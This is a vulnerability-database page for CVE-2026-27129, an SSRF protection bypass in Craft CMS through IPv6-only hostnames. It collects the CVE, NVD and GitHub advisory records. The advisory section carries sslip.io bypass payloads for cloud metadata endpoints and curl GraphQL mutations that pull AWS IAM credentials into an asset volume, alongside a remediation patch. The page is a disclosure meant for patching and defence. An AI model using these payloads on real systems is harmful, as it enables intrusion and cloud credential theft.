Vulnerability-Lookup

CVE-2026-27129 (GCVE-0-2026-27129)

Vulnerability from cvelistv5 – Published: 2026-02-24 02:45 – Updated: 2026-02-28 02:17

Title

Cloud Metadata SSRF Protection Bypass via IPv6 Resolution

Summary

Craft is a content management system (CMS). In versions 4.5.0-RC1 through 4.16.18 and 5.0.0-RC1 through 5.8.22, the SSRF validation in Craft CMS’s GraphQL Asset mutation uses `gethostbyname()`, which only resolves IPv4 addresses. When a hostname has only AAAA (IPv6) records, the function returns the hostname string itself, causing the blocklist comparison to always fail and completely bypassing SSRF protection. This is a bypass of the security fix for CVE-2025-68437. Exploitation requires GraphQL schema permissions for editing assets in the `<VolumeName>` volume and creating assets in the `<VolumeName>` volume. These permissions may be granted to authenticated users with appropriate GraphQL schema access and/or Public Schema (if misconfigured with write permissions). Versions 4.16.19 and 5.8.23 patch the issue.

Severity

5.7 (Medium)


                        
                          CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:N/VI:H/VA:N/SC:N/SI:N/SA:N/E:P

SSVC

Exploitation: none Automatable: yes Technical Impact: total

CISA Coordinator · CISA-ADP (v2.0.3)

Decision recorded 2026-02-28 02:16 UTC

CWE

CWE-918 - Server-Side Request Forgery (SSRF)

Assigner

GitHub_M CNA under the mitre root

CNA scorecard C 72/100 over 7868 records in the last 180 days details

References

3 references

URL	Tags
https://github.com/craftcms/cms/security/advisori…	x_refsource_CONFIRM
https://github.com/craftcms/cms/security/advisori…	x_refsource_MISC
https://github.com/craftcms/cms/commit/2825388b4f…	x_refsource_MISC

Impacted products

1 product

Vendor	Product	Version	CPE status
craftcms	cms	Affected: >= 4.5.0-RC1, < 4.16.19 Affected: >= 5.0.0-RC1, < 5.8.23	guessed

Show details on NVD website

JSON

To clipboard

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      "title": "Cloud Metadata SSRF Protection Bypass via IPv6 Resolution",
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            }
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            "discovery": "UNKNOWN"
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          "title": "Cloud Metadata SSRF Protection Bypass via IPv6 Resolution"
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}

FKIE_CVE-2026-27129

Vulnerability from fkie_nvd - Published: 2026-02-24 03:16 - Updated: 2026-06-17 10:26

Severity

6.5 (Medium) - CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:N

Summary

References

URL	Tags
security-advisories@github.com	https://github.com/craftcms/cms/commit/2825388b4f32fb1c9bd709027a1a1fd192d709a3	Patch
security-advisories@github.com	https://github.com/craftcms/cms/security/advisories/GHSA-v2gc-rm6g-wrw9	Exploit, Mitigation, Patch, Vendor Advisory
security-advisories@github.com	https://github.com/craftcms/cms/security/advisories/GHSA-x27p-wfqw-hfcc	Not Applicable

Impacted products

Vendor	Product	Version
craftcms	craft_cms	*
craftcms	craft_cms	*
craftcms	craft_cms	5.0.0
craftcms	craft_cms	5.0.0

JSON

To clipboard

{
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      "affectedData": [
        {
          "product": "cms",
          "vendor": "craftcms",
          "versions": [
            {
              "status": "affected",
              "version": "\u003e= 4.5.0-RC1, \u003c 4.16.19"
            },
            {
              "status": "affected",
              "version": "\u003e= 5.0.0-RC1, \u003c 5.8.23"
            }
          ]
        }
      ],
      "source": "security-advisories@github.com"
    }
  ],
  "configurations": [
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            {
              "criteria": "cpe:2.3:a:craftcms:craft_cms:*:*:*:*:*:*:*:*",
              "matchCriteriaId": "3C596EBB-ED70-4F53-A0E2-8ECB3F5A52D3",
              "versionEndExcluding": "4.16.19",
              "versionStartIncluding": "3.5.0",
              "vulnerable": true
            },
            {
              "criteria": "cpe:2.3:a:craftcms:craft_cms:*:*:*:*:*:*:*:*",
              "matchCriteriaId": "6DF22B83-BC96-49B9-9694-F6F2688409AA",
              "versionEndExcluding": "5.8.23",
              "versionStartIncluding": "5.0.1",
              "vulnerable": true
            },
            {
              "criteria": "cpe:2.3:a:craftcms:craft_cms:5.0.0:-:*:*:*:*:*:*",
              "matchCriteriaId": "1C7461CF-35AB-48E1-88B6-956DAE1D2AB4",
              "vulnerable": true
            },
            {
              "criteria": "cpe:2.3:a:craftcms:craft_cms:5.0.0:rc1:*:*:*:*:*:*",
              "matchCriteriaId": "8D8E02D1-601A-4E2B-B619-4775BFDB72D0",
              "vulnerable": true
            }
          ],
          "negate": false,
          "operator": "OR"
        }
      ]
    }
  ],
  "cveTags": [],
  "descriptions": [
    {
      "lang": "en",
      "value": "Craft is a content management system (CMS). In versions 4.5.0-RC1 through 4.16.18 and 5.0.0-RC1 through 5.8.22, the SSRF validation in Craft CMS\u2019s GraphQL Asset mutation uses `gethostbyname()`, which only resolves IPv4 addresses. When a hostname has only AAAA (IPv6) records, the function returns the hostname string itself, causing the blocklist comparison to always fail and completely bypassing SSRF protection. This is a bypass of the security fix for CVE-2025-68437. Exploitation requires GraphQL schema permissions for editing assets in the `\u003cVolumeName\u003e` volume and creating assets in the `\u003cVolumeName\u003e` volume. These permissions may be granted to authenticated users with appropriate GraphQL schema access and/or Public Schema (if misconfigured with write permissions). Versions 4.16.19 and 5.8.23 patch the issue."
    },
    {
      "lang": "es",
      "value": "Craft es un sistema de gesti\u00f3n de contenido (CMS). En las versiones 4.5.0-RC1 hasta 4.16.18 y 5.0.0-RC1 hasta 5.8.22, la validaci\u00f3n de SSRF en la mutaci\u00f3n GraphQL Asset de Craft CMS utiliza `gethostbyname()`, que solo resuelve direcciones IPv4. Cuando un nombre de host tiene solo registros AAAA (IPv6), la funci\u00f3n devuelve la propia cadena del nombre de host, lo que hace que la comparaci\u00f3n de la lista de bloqueo siempre falle y omita completamente la protecci\u00f3n SSRF. Esto es una omisi\u00f3n de la correcci\u00f3n de seguridad para CVE-2025-68437. La explotaci\u00f3n requiere permisos de esquema GraphQL para editar activos en el volumen \u0027\u0027 y crear activos en el volumen \u0027\u0027. Estos permisos pueden ser otorgados a usuarios autenticados con acceso apropiado al esquema GraphQL y/o al Esquema P\u00fablico (si est\u00e1 mal configurado con permisos de escritura). Las versiones 4.16.19 y 5.8.23 parchean el problema."
    }
  ],
  "id": "CVE-2026-27129",
  "lastModified": "2026-06-17T10:26:43.143",
  "metrics": {
    "cvssMetricV31": [
      {
        "cvssData": {
          "attackComplexity": "LOW",
          "attackVector": "NETWORK",
          "availabilityImpact": "NONE",
          "baseScore": 6.5,
          "baseSeverity": "MEDIUM",
          "confidentialityImpact": "NONE",
          "integrityImpact": "HIGH",
          "privilegesRequired": "LOW",
          "scope": "UNCHANGED",
          "userInteraction": "NONE",
          "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:N",
          "version": "3.1"
        },
        "exploitabilityScore": 2.8,
        "impactScore": 3.6,
        "source": "nvd@nist.gov",
        "type": "Primary"
      }
    ],
    "cvssMetricV40": [
      {
        "cvssData": {
          "Automatable": "NOT_DEFINED",
          "Recovery": "NOT_DEFINED",
          "Safety": "NOT_DEFINED",
          "attackComplexity": "LOW",
          "attackRequirements": "NONE",
          "attackVector": "NETWORK",
          "availabilityRequirement": "NOT_DEFINED",
          "baseScore": 5.7,
          "baseSeverity": "MEDIUM",
          "confidentialityRequirement": "NOT_DEFINED",
          "exploitMaturity": "PROOF_OF_CONCEPT",
          "integrityRequirement": "NOT_DEFINED",
          "modifiedAttackComplexity": "NOT_DEFINED",
          "modifiedAttackRequirements": "NOT_DEFINED",
          "modifiedAttackVector": "NOT_DEFINED",
          "modifiedPrivilegesRequired": "NOT_DEFINED",
          "modifiedSubAvailabilityImpact": "NOT_DEFINED",
          "modifiedSubConfidentialityImpact": "NOT_DEFINED",
          "modifiedSubIntegrityImpact": "NOT_DEFINED",
          "modifiedUserInteraction": "NOT_DEFINED",
          "modifiedVulnAvailabilityImpact": "NOT_DEFINED",
          "modifiedVulnConfidentialityImpact": "NOT_DEFINED",
          "modifiedVulnIntegrityImpact": "NOT_DEFINED",
          "privilegesRequired": "LOW",
          "providerUrgency": "NOT_DEFINED",
          "subAvailabilityImpact": "NONE",
          "subConfidentialityImpact": "NONE",
          "subIntegrityImpact": "NONE",
          "userInteraction": "NONE",
          "valueDensity": "NOT_DEFINED",
          "vectorString": "CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:N/VI:H/VA:N/SC:N/SI:N/SA:N/E:P/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X",
          "version": "4.0",
          "vulnAvailabilityImpact": "NONE",
          "vulnConfidentialityImpact": "NONE",
          "vulnIntegrityImpact": "HIGH",
          "vulnerabilityResponseEffort": "NOT_DEFINED"
        },
        "source": "security-advisories@github.com",
        "type": "Secondary"
      }
    ],
    "ssvcV203": [
      {
        "source": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
        "ssvcData": {
          "id": "CVE-2026-27129",
          "options": [
            {
              "exploitation": "none"
            },
            {
              "automatable": "yes"
            },
            {
              "technicalImpact": "total"
            }
          ],
          "role": "CISA Coordinator",
          "timestamp": "2026-02-28T02:16:52.966432Z",
          "version": "2.0.3"
        }
      }
    ]
  },
  "published": "2026-02-24T03:16:02.807",
  "references": [
    {
      "source": "security-advisories@github.com",
      "tags": [
        "Patch"
      ],
      "url": "https://github.com/craftcms/cms/commit/2825388b4f32fb1c9bd709027a1a1fd192d709a3"
    },
    {
      "source": "security-advisories@github.com",
      "tags": [
        "Exploit",
        "Mitigation",
        "Patch",
        "Vendor Advisory"
      ],
      "url": "https://github.com/craftcms/cms/security/advisories/GHSA-v2gc-rm6g-wrw9"
    },
    {
      "source": "security-advisories@github.com",
      "tags": [
        "Not Applicable"
      ],
      "url": "https://github.com/craftcms/cms/security/advisories/GHSA-x27p-wfqw-hfcc"
    }
  ],
  "sourceIdentifier": "security-advisories@github.com",
  "vulnStatus": "Analyzed",
  "weaknesses": [
    {
      "description": [
        {
          "lang": "en",
          "value": "CWE-918"
        }
      ],
      "source": "security-advisories@github.com",
      "type": "Secondary"
    }
  ]
}

GHSA-V2GC-RM6G-WRW9

Vulnerability from github – Published: 2026-02-24 15:51 – Updated: 2026-02-24 15:51

Summary

Craft CMS: Cloud Metadata SSRF Protection Bypass via IPv6 Resolution

Details

The SSRF validation in Craft CMS’s GraphQL Asset mutation uses gethostbyname(), which only resolves IPv4 addresses. When a hostname has only AAAA (IPv6) records, the function returns the hostname string itself, causing the blocklist comparison to always fail and completely bypassing SSRF protection.

This is a bypass of the security fix for CVE-2025-68437 (GHSA-x27p-wfqw-hfcc).

Required Permissions

Exploitation requires GraphQL schema permissions for: - Edit assets in the <VolumeName> volume - Create assets in the <VolumeName> volume

These permissions may be granted to: - Authenticated users with appropriate GraphQL schema access - Public Schema (if misconfigured with write permissions)

Technical Details

Root Cause

From PHP documentation: "gethostbyname - Get the IPv4 address corresponding to a given Internet host name"

When no IPv4 (A record) exists, gethostbyname() returns the hostname string unchanged.

Bypass Mechanism

+-----------------------------------------------------------------------------+
| Step 1: Attacker provides URL                                               |
|         http://fd00-ec2--254.sslip.io/latest/meta-data/                     |
+-----------------------------------------------------------------------------+
| Step 2: Validation calls gethostbyname('fd00-ec2--254.sslip.io')            |
|         -> No A record exists                                               |
|         -> Returns: "fd00-ec2--254.sslip.io" (string, not an IP!)           |
+-----------------------------------------------------------------------------+
| Step 3: Blocklist check                                                     |
|         in_array("fd00-ec2--254.sslip.io", ['169.254.169.254', ...])       |
|         -> FALSE (string != IPv4 addresses)                                 |
|         -> VALIDATION PASSES                                                |
+-----------------------------------------------------------------------------+
| Step 4: Guzzle makes HTTP request                                           |
|         -> Resolves DNS (including AAAA records)                            |
|         -> Gets IPv6: fd00:ec2::254                                         |
|         -> Connects to AWS IMDS IPv6 endpoint                               |
|         -> CREDENTIALS STOLEN                                               |
+-----------------------------------------------------------------------------+

Bypass Payloads

Blocked IPv4 Addresses and Their IPv6 Bypass Equivalents

Cloud Provider	Blocked IPv4	IPv6 Equivalent	Bypass Payload
AWS EC2 IMDS	`169.254.169.254`	`fd00:ec2::254`	`http://fd00-ec2--254.sslip.io/`
AWS ECS	`169.254.170.2`	`fd00:ec2::254` (via IMDS)	`http://fd00-ec2--254.sslip.io/`
Google Cloud GCP	`169.254.169.254`	`fd20:ce::254`	`http://fd20-ce--254.sslip.io/`
Azure	`169.254.169.254`	No IPv6 endpoint	N/A
Alibaba Cloud	`100.100.100.200`	No documented IPv6	N/A
Oracle Cloud	`192.0.0.192`	No documented IPv6	N/A

Additional IPv6 Internal Service Bypass Payloads

Target	IPv6 Address	Bypass Payload
IPv6 Loopback	`::1`	`http://0-0-0-0-0-0-0-1.sslip.io/`
AWS NTP Service	`fd00:ec2::123`	`http://fd00-ec2--123.sslip.io/`
AWS DNS Service	`fd00:ec2::253`	`http://fd00-ec2--253.sslip.io/`
IPv4-mapped IPv6	`::ffff:169.254.169.254`	`http://0-0-0-0-0-0-ffff-a9fe-a9fe.sslip.io/`

Steps to Reproduce

Step 1: Verify DNS Resolution

# Verify the hostname has no IPv4 record (what gethostbyname sees)
$ dig fd00-ec2--254.sslip.io A +short
# (empty - no IPv4 record)

# Verify the hostname has IPv6 record (what Guzzle/curl uses)
$ dig fd00-ec2--254.sslip.io AAAA +short
fd00:ec2::254

Step 2: Enumerate AWS IAM Role Name

curl -sk "https://TARGET/index.php?p=admin/actions/graphql/api" \
  -H "Content-Type: application/json" \
  -H "Authorization: Bearer YOUR_GRAPHQL_TOKEN" \
  -d '{
    "query": "mutation { save_photos_Asset(_file: { url: \"http://fd00-ec2--254.sslip.io/latest/meta-data/iam/security-credentials/\", filename: \"role.txt\" }) { id } }"
  }'

Step 3: Retrieve AWS Credentials

# Replace ROLE_NAME with the role discovered in Step 2
curl -sk "https://TARGET/index.php?p=admin/actions/graphql/api" \
  -H "Content-Type: application/json" \
  -H "Authorization: Bearer YOUR_GRAPHQL_TOKEN" \
  -d '{
    "query": "mutation { save_photos_Asset(_file: { url: \"http://fd00-ec2--254.sslip.io/latest/meta-data/iam/security-credentials/ROLE_NAME\", filename: \"creds.json\" }) { id } }"
  }'

Step 4: Access Saved Credentials

The credentials will be saved to the asset volume (e.g., /userphotos/photos/creds.json).

Attack Scenario

Attacker finds Craft CMS instance with GraphQL asset mutations enabled
Attacker sends mutation with url: "http://fd00-ec2--254.sslip.io/latest/meta-data/iam/security-credentials/"
Error message or saved file reveals IAM role name
Attacker retrieves credentials via second mutation
Attacker uses credentials to access AWS services
Attacker can now achieve code execution by creating new EC2 instances with their SSH key

Remediation

Replace gethostbyname() with dns_get_record() to check both IPv4 and IPv6:

// Resolve both IPv4 and IPv6 addresses
$records = @dns_get_record($hostname, DNS_A | DNS_AAAA);
if ($records === false) {
    $records = [];
}

// Blocked IPv6 metadata prefixes
$blockedIPv6Prefixes = [
    'fd00:ec2::',       // AWS IMDS, DNS, NTP
    'fd20:ce::',        // GCP Metadata
    '::1',              // Loopback
    'fe80:',            // Link-local
    '::ffff:',          // IPv4-mapped IPv6
];

foreach ($records as $record) {
    // Check IPv4 (existing logic)
    if (isset($record['ip']) && in_array($record['ip'], $blockedIPv4)) {
        return false;
    }

    // Check IPv6 (NEW)
    if (isset($record['ipv6'])) {
        foreach ($blockedIPv6Prefixes as $prefix) {
            if (str_starts_with($record['ipv6'], $prefix)) {
                return false;
            }
        }
    }
}

Additional Mitigations

Mitigation	Description
Block wildcard DNS services	Block nip.io, sslip.io, xip.io suffixes
Use `dns_get_record()`	Resolves both IPv4 and IPv6

Resources

https://github.com/craftcms/cms/commit/2825388b4f32fb1c9bd709027a1a1fd192d709a3
PHP: gethostbyname - "Get the IPv4 address corresponding to a given Internet host name"
GHSA-x27p-wfqw-hfcc - Original SSRF vulnerability (CVE-2025-68437)
AWS IMDS IPv6 Documentation
GCP Metadata Server Documentation
PayloadsAllTheThings - SSRF Cloud Instances

Severity

5.5 (Medium)


                  
                    CVSS:4.0/AV:N/AC:L/AT:N/PR:H/UI:N/VC:H/VI:L/VA:N/SC:N/SI:N/SA:N/E:P

Show details on source website

JSON

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{
  "affected": [
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 5.8.22"
      },
      "package": {
        "ecosystem": "Packagist",
        "name": "craftcms/cms"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "5.0.0-RC1"
            },
            {
              "fixed": "5.8.23"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 4.16.18"
      },
      "package": {
        "ecosystem": "Packagist",
        "name": "craftcms/cms"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "3.5.0"
            },
            {
              "fixed": "4.16.19"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-27129"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-918"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-02-24T15:51:07Z",
    "nvd_published_at": "2026-02-24T03:16:02Z",
    "severity": "MODERATE"
  },
  "details": "The SSRF validation in Craft CMS\u2019s GraphQL Asset mutation uses `gethostbyname()`, which only resolves IPv4 addresses. When a hostname has only AAAA (IPv6) records, the function returns the hostname string itself, causing the blocklist comparison to always fail and completely bypassing SSRF protection.\n\nThis is a bypass of the security fix for CVE-2025-68437 ([GHSA-x27p-wfqw-hfcc](https://github.com/craftcms/cms/security/advisories/GHSA-x27p-wfqw-hfcc)).\n\n## Required Permissions\n\nExploitation requires GraphQL schema permissions for:\n- Edit assets in the `\u003cVolumeName\u003e` volume\n- Create assets in the `\u003cVolumeName\u003e` volume\n\nThese permissions may be granted to:\n- Authenticated users with appropriate GraphQL schema access\n- Public Schema (if misconfigured with write permissions)\n\n---\n\n## Technical Details\n\n### Root Cause\n\nFrom PHP documentation: *\"gethostbyname - Get the IPv4 address corresponding to a given Internet host name\"*\n\nWhen no IPv4 (A record) exists, `gethostbyname()` returns the hostname string unchanged.\n\n### Bypass Mechanism\n\n```\n+-----------------------------------------------------------------------------+\n| Step 1: Attacker provides URL                                               |\n|         http://fd00-ec2--254.sslip.io/latest/meta-data/                     |\n+-----------------------------------------------------------------------------+\n| Step 2: Validation calls gethostbyname(\u0027fd00-ec2--254.sslip.io\u0027)            |\n|         -\u003e No A record exists                                               |\n|         -\u003e Returns: \"fd00-ec2--254.sslip.io\" (string, not an IP!)           |\n+-----------------------------------------------------------------------------+\n| Step 3: Blocklist check                                                     |\n|         in_array(\"fd00-ec2--254.sslip.io\", [\u0027169.254.169.254\u0027, ...])       |\n|         -\u003e FALSE (string != IPv4 addresses)                                 |\n|         -\u003e VALIDATION PASSES                                                |\n+-----------------------------------------------------------------------------+\n| Step 4: Guzzle makes HTTP request                                           |\n|         -\u003e Resolves DNS (including AAAA records)                            |\n|         -\u003e Gets IPv6: fd00:ec2::254                                         |\n|         -\u003e Connects to AWS IMDS IPv6 endpoint                               |\n|         -\u003e CREDENTIALS STOLEN                                               |\n+-----------------------------------------------------------------------------+\n```\n\n---\n\n## Bypass Payloads\n\n### Blocked IPv4 Addresses and Their IPv6 Bypass Equivalents\n\n| Cloud Provider | Blocked IPv4 | IPv6 Equivalent | Bypass Payload |\n|----------------|--------------|-----------------|----------------|\n| **AWS EC2 IMDS** | `169.254.169.254` | `fd00:ec2::254` | `http://fd00-ec2--254.sslip.io/` |\n| **AWS ECS** | `169.254.170.2` | `fd00:ec2::254` (via IMDS) | `http://fd00-ec2--254.sslip.io/` |\n| **Google Cloud GCP** | `169.254.169.254` | `fd20:ce::254` | `http://fd20-ce--254.sslip.io/` |\n| **Azure** | `169.254.169.254` | No IPv6 endpoint | N/A |\n| **Alibaba Cloud** | `100.100.100.200` | No documented IPv6 | N/A |\n| **Oracle Cloud** | `192.0.0.192` | No documented IPv6 | N/A |\n\n### Additional IPv6 Internal Service Bypass Payloads\n\n| Target | IPv6 Address | Bypass Payload |\n|--------|--------------|----------------|\n| **IPv6 Loopback** | `::1` | `http://0-0-0-0-0-0-0-1.sslip.io/` |\n| **AWS NTP Service** | `fd00:ec2::123` | `http://fd00-ec2--123.sslip.io/` |\n| **AWS DNS Service** | `fd00:ec2::253` | `http://fd00-ec2--253.sslip.io/` |\n| **IPv4-mapped IPv6** | `::ffff:169.254.169.254` | `http://0-0-0-0-0-0-ffff-a9fe-a9fe.sslip.io/` |\n\n---\n\n## Steps to Reproduce\n\n### Step 1: Verify DNS Resolution\n\n```bash\n# Verify the hostname has no IPv4 record (what gethostbyname sees)\n$ dig fd00-ec2--254.sslip.io A +short\n# (empty - no IPv4 record)\n\n# Verify the hostname has IPv6 record (what Guzzle/curl uses)\n$ dig fd00-ec2--254.sslip.io AAAA +short\nfd00:ec2::254\n```\n\n### Step 2: Enumerate AWS IAM Role Name\n\n```bash\ncurl -sk \"https://TARGET/index.php?p=admin/actions/graphql/api\" \\\n  -H \"Content-Type: application/json\" \\\n  -H \"Authorization: Bearer YOUR_GRAPHQL_TOKEN\" \\\n  -d \u0027{\n    \"query\": \"mutation { save_photos_Asset(_file: { url: \\\"http://fd00-ec2--254.sslip.io/latest/meta-data/iam/security-credentials/\\\", filename: \\\"role.txt\\\" }) { id } }\"\n  }\u0027\n```\n\n### Step 3: Retrieve AWS Credentials\n\n```bash\n# Replace ROLE_NAME with the role discovered in Step 2\ncurl -sk \"https://TARGET/index.php?p=admin/actions/graphql/api\" \\\n  -H \"Content-Type: application/json\" \\\n  -H \"Authorization: Bearer YOUR_GRAPHQL_TOKEN\" \\\n  -d \u0027{\n    \"query\": \"mutation { save_photos_Asset(_file: { url: \\\"http://fd00-ec2--254.sslip.io/latest/meta-data/iam/security-credentials/ROLE_NAME\\\", filename: \\\"creds.json\\\" }) { id } }\"\n  }\u0027\n```\n\n### Step 4: Access Saved Credentials\n\nThe credentials will be saved to the asset volume (e.g., `/userphotos/photos/creds.json`).\n\n---\n\n### Attack Scenario\n\n1. Attacker finds Craft CMS instance with GraphQL asset mutations enabled\n2. Attacker sends mutation with `url: \"http://fd00-ec2--254.sslip.io/latest/meta-data/iam/security-credentials/\"`\n3. Error message or saved file reveals IAM role name\n4. Attacker retrieves credentials via second mutation\n5. Attacker uses credentials to access AWS services\n6. **Attacker can now achieve code execution by creating new EC2 instances with their SSH key**\n\n---\n\n## Remediation\n\nReplace `gethostbyname()` with `dns_get_record()` to check both IPv4 and IPv6:\n\n```php\n// Resolve both IPv4 and IPv6 addresses\n$records = @dns_get_record($hostname, DNS_A | DNS_AAAA);\nif ($records === false) {\n    $records = [];\n}\n\n// Blocked IPv6 metadata prefixes\n$blockedIPv6Prefixes = [\n    \u0027fd00:ec2::\u0027,       // AWS IMDS, DNS, NTP\n    \u0027fd20:ce::\u0027,        // GCP Metadata\n    \u0027::1\u0027,              // Loopback\n    \u0027fe80:\u0027,            // Link-local\n    \u0027::ffff:\u0027,          // IPv4-mapped IPv6\n];\n\nforeach ($records as $record) {\n    // Check IPv4 (existing logic)\n    if (isset($record[\u0027ip\u0027]) \u0026\u0026 in_array($record[\u0027ip\u0027], $blockedIPv4)) {\n        return false;\n    }\n\n    // Check IPv6 (NEW)\n    if (isset($record[\u0027ipv6\u0027])) {\n        foreach ($blockedIPv6Prefixes as $prefix) {\n            if (str_starts_with($record[\u0027ipv6\u0027], $prefix)) {\n                return false;\n            }\n        }\n    }\n}\n```\n\n### Additional Mitigations\n\n| Mitigation | Description |\n|------------|-------------|\n| Block wildcard DNS services | Block nip.io, sslip.io, xip.io suffixes |\n| Use `dns_get_record()` | Resolves both IPv4 and IPv6 |\n\n---\n\n## Resources\n\n- https://github.com/craftcms/cms/commit/2825388b4f32fb1c9bd709027a1a1fd192d709a3\n- [PHP: gethostbyname](https://www.php.net/manual/en/function.gethostbyname.php) - \"Get the **IPv4 address** corresponding to a given Internet host name\"\n- [GHSA-x27p-wfqw-hfcc](https://github.com/advisories/GHSA-x27p-wfqw-hfcc) - Original SSRF vulnerability (CVE-2025-68437)\n- [AWS IMDS IPv6 Documentation](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/instancedata-data-retrieval.html)\n- [GCP Metadata Server Documentation](https://cloud.google.com/compute/docs/metadata/querying-metadata)\n- [PayloadsAllTheThings - SSRF Cloud Instances](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Server%20Side%20Request%20Forgery/SSRF-Cloud-Instances.md)",
  "id": "GHSA-v2gc-rm6g-wrw9",
  "modified": "2026-02-24T15:51:07Z",
  "published": "2026-02-24T15:51:07Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/craftcms/cms/security/advisories/GHSA-v2gc-rm6g-wrw9"
    },
    {
      "type": "WEB",
      "url": "https://github.com/craftcms/cms/security/advisories/GHSA-x27p-wfqw-hfcc"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-27129"
    },
    {
      "type": "WEB",
      "url": "https://github.com/craftcms/cms/commit/2825388b4f32fb1c9bd709027a1a1fd192d709a3"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/craftcms/cms"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:H/UI:N/VC:H/VI:L/VA:N/SC:N/SI:N/SA:N/E:P",
      "type": "CVSS_V4"
    }
  ],
  "summary": "Craft CMS: Cloud Metadata SSRF Protection Bypass via IPv6 Resolution"
}

Sightings

Author	Source	Type	Date	Other

Nomenclature

Seen: The vulnerability was mentioned, discussed, or observed by the user.
Confirmed: The vulnerability has been validated from an analyst's perspective.
Published Proof of Concept: A public proof of concept is available for this vulnerability.
Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
Not confirmed: The user expressed doubt about the validity of the vulnerability.
Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.

Vulnerability timeline

Sightings and recorded dates, grouped by day · UTC

Order JSON

How durations are calculated

Following the VTEM framework (Black Hat USA 2015), time to patch starts when the vendor or a coordinator was informed, total time to patch at discovery, and disclosure to patch at public disclosure; vendor response time runs from the report to its acknowledgement. Time to exploit and time unpatched start at the earliest discovery or report, falling back to public disclosure. Unpatched time ends at the first recorded patch, or the calculation time when no patch is recorded. Exploitation to patch shows the interval between those two events; a published proof of concept is a public exploit, not exploitation.

Each result shows its source dates. A negative interval means the end event came first; when date-only inputs leave the order open, the result says so. Date-only inputs are approximate. The earliest evidence wins: KEV report dates and sightings are labelled as such. Records describing another vulnerability are listed but never calculated from, and a PoC alone does not establish exploitation. Missing patch evidence does not prove that no patch exists. Filters below change the event list only.

Publication & reservation Sightings KEV catalogs Other timestamps

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The MITRE ATT&CK techniques below are AI-generated suggestions, inferred from the description of the vulnerability by the CIRCL/vulnerability-attack-technique-classification-roberta-base model, served locally by ML-Gateway. They have not been verified by an analyst and are provided for guidance only.
The approach is described in our paper Mapping CVEs to MITRE ATT&CK Techniques: A Curated Gold-Set Classifier and the Limits of LLM-Assisted Label Expansion.
Browse all ATT&CK techniques and the vulnerabilities related to each.

Related by attack behaviour

Vulnerabilities whose description is nearest to this one in the vector space of the CIRCL/vulnerability-attack-technique-biencoder model. This is a similarity search over the bi-encoder space (plain cosine), not a classification, and it has no measured accuracy.

Action not permitted

CVE-2026-27129 (GCVE-0-2026-27129)

FKIE_CVE-2026-27129

GHSA-V2GC-RM6G-WRW9

Required Permissions

Technical Details

Root Cause

Bypass Mechanism

Bypass Payloads

Blocked IPv4 Addresses and Their IPv6 Bypass Equivalents

Additional IPv6 Internal Service Bypass Payloads

Steps to Reproduce

Step 1: Verify DNS Resolution

Step 2: Enumerate AWS IAM Role Name

Step 3: Retrieve AWS Credentials

Step 4: Access Saved Credentials

Attack Scenario

Remediation

Additional Mitigations

Resources

Tags

Sightings

Nomenclature

Vulnerability timeline

Related by attack behaviour